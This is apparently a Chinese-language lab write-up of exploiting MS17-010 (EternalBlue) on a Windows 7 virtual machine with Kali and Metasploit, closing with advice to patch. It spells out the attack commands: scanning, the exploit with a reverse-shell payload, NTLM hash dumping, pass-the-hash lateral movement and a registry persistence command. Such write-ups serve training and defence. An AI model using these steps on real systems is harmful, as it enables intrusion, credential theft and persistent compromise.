对着VMware里那台Windows 7 SP1虚拟机按下回车键的时候，MS17-010的利用代码几乎瞬间就返回了NT AUTHORITY\SYSTEM的shell。这不是什么电影桥段，一台没打补丁的Win7在Kali面前基本就是纸糊的门。我用的攻击机是Kali 2023.4，虚拟机桥接模式，目标机IP 192.168.1.107，双方在同一网段——这一步很关键，NAT模式下反向连接容易出问题。

先扫端口。nmap -sV -T4 192.168.1.107，结果不出所料：445端口开着，SMB服务版本显示Windows 7 - Windows Server 2008 R2。这个Banner本身就等于在喊“我有漏洞”。顺手跑了一下nmap --script smb-vuln-ms17-010，脚本直接标红确认存在MS17-010。其实到这一步，后面的事情就没什么悬念了。

打开Metasploit，msfconsole加载要等十几秒，Kali这破机器每次启动都慢得让人想砸键盘。search ms17-010，出来一堆模块，选exploit/windows/smb/ms17_010_eternalblue这个。set RHOSTS 192.168.1.107，set LHOST 192.168.1.105，set PAYLOAD windows/x64/meterpreter/reverse_tcp。check一下确认目标脆弱，然后exploit。

三秒不到，meterpreter会话就弹回来了。getuid显示SYSTEM，getsystem都省了。这时候其实已经算渗透完成——但拿个shell不是终点，得看看这台机器上有什么。sysinfo显示系统版本6.1.7601，也就是Win7 SP1，补丁号少得可怜。hashdump直接抓出本地SAM里的NTLM哈希，管理员账户的哈希也在里面。这些哈希拿去cmd5或者hashcat跑，弱密码基本秒破。

不过我想试试另一条路。meterpreter里run post/windows/gather/enum_logged_on_users，看看有没有域用户登录过。结果发现这台机器虽然没加域，但有个叫“admin”的本地账户最近登录过。用hashdump拿到的哈希做pass-the-hash，psexec模块直接横向到同一网段另一台机器——当然这是后话，单机渗透到这一步已经够了。

说点实际的。Win7之所以在渗透测试里被反复拿来当靶子，不是因为它有多特殊，而是它太典型了。2017年WannaCry爆发的时候，全球中招的机器里Win7占了绝大多数，原因就一个：没打MS17-010补丁。微软早在3月就发了补丁，但大量企业内网因为兼容性问题拖着不更新。Kali里的EternalBlue模块本质上就是NSA泄露的武器化工具，操作门槛低到令人发指——会敲几条msf命令就能拿SYSTEM。

有个细节值得说。我试过在目标机上开Windows Defender实时保护，EternalBlue照样打进去。Defender对这类内核态漏洞利用的拦截能力有限，尤其是Win7上的老版本Defender。真正能挡住的是EMET或者升级到Win10之后的内核缓解机制。所以如果有人在真实环境里还在跑Win7，别指望杀软能救命，打补丁或者物理隔离才是正事。

最后提一句meterpreter的持久化。run persistence -U -i 10 -p 4444能在注册表里埋个自启动，但Win7的UAC对SYSTEM权限下的操作基本不拦。不过这种持久化很容易被Autoruns之类的工具发现，真要藏得深得用rootkit或者直接改系统服务。渗透测试报告里写清楚攻击路径就行，持久化手段看客户需求。

整件事下来，从nmap扫描到getsystem，熟练的话五分钟以内。Kali只是个工具包，真正致命的是那个没打补丁的445端口。